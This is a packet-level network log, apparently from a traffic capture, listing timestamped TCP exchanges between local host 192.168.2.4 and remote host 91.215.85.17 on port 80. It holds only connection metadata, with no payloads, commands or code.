Dec 19, 2023 03:22:28.912122965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912152052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912208080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912276983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912309885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912309885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912319899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912378073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912429094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912436008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912492037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912535906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912553072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912600994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912709951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912750959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912775993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912838936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912894011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.912966013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913002968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.913048983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913146973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913203001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913203955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.913321018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913372993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.913386106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913507938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913599014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913647890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.913747072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913822889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913882017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.913902998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913943052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.913964033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914016962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914055109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914084911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914179087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914227962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914241076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914345980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914418936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914465904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914494991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914593935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914644003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914669037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914710045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914786100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914861917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.914902925 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.914975882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915096045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915139914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.915175915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915240049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915338993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915384054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.915417910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915527105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915580034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.915604115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915730953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915750027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.915803909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.915848970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.915924072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916001081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916063070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.916105032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916235924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916315079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916366100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.916419029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916517973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916569948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.916611910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916656971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.916699886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916793108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.916837931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.916871071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917020082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917063951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.917144060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917253971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917344093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917434931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917454004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.917531967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917576075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.917623043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917696953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917748928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.917773962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917825937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.917870045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.917958975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918006897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918064117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918123960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918209076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918273926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918294907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918433905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918476105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918572903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918620110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918628931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918697119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918750048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918778896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918837070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918884039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918884039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.918903112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.918967962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919017076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919033051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919034958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919076920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919089079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919123888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919135094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919152975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919192076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919213057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919250965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919305086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919341087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919372082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919389009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919424057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919450045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919469118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919504881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919524908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919536114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919568062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919584036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919589996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919617891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919646978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919682980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919698954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919743061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919743061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919748068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919795990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919822931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919833899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919879913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919903994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919925928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.919945002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919977903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.919996023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920025110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920053959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920074940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920111895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920111895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920125961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920173883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920186043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920217037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920243025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920286894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920336962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920372963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920372963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920388937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920404911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920449972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920464039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920507908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920563936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920598030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920620918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920641899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920655012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920698881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920744896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920747995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920818090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920829058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920840979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920880079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920890093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920890093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920892000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920953989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920953035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.920967102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.920979977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921010971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921010971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921065092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921082020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921104908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921132088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921142101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921170950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921219110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921236038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921243906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921286106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921291113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921330929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921350956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921361923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921374083 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921379089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921402931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921402931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921411991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921463966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921506882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921514988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921569109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921581984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921614885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921614885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921617985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921694994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921708107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921724081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921745062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921772957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921782017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921791077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921840906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921914101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921921015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921937943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921969891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.921987057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.921997070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922034979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922049046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922060966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922101021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922127008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922144890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922163010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922179937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922197104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922204971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922236919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922252893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922281981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922287941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922302008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922306061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922331095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922372103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922413111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922458887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922471046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922482967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922502041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922523022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922530890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922540903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922554016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922574997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922601938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922633886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922636986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922636986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922658920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922709942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922755957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922777891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922898054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922951937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922951937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.922990084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.922996044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923041105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923053026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923090935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923096895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923110008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923141956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923175097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923202991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923233986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923266888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923268080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923268080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923321962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923341990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923358917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923365116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923372030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923402071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923429966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923480988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923491001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923507929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923540115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923573971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923607111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923619032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923630953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923666954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923669100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923680067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923692942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923715115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923751116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923753023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923765898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923836946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923856974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923882961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923894882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.923923016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923948050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.923989058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924005032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924029112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924066067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924086094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924103975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924115896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924149036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924158096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924158096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924190044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924206972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924258947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924268961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924269915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924287081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.924299955 CET	80	49738	91.215.85.17	192.168.2.4
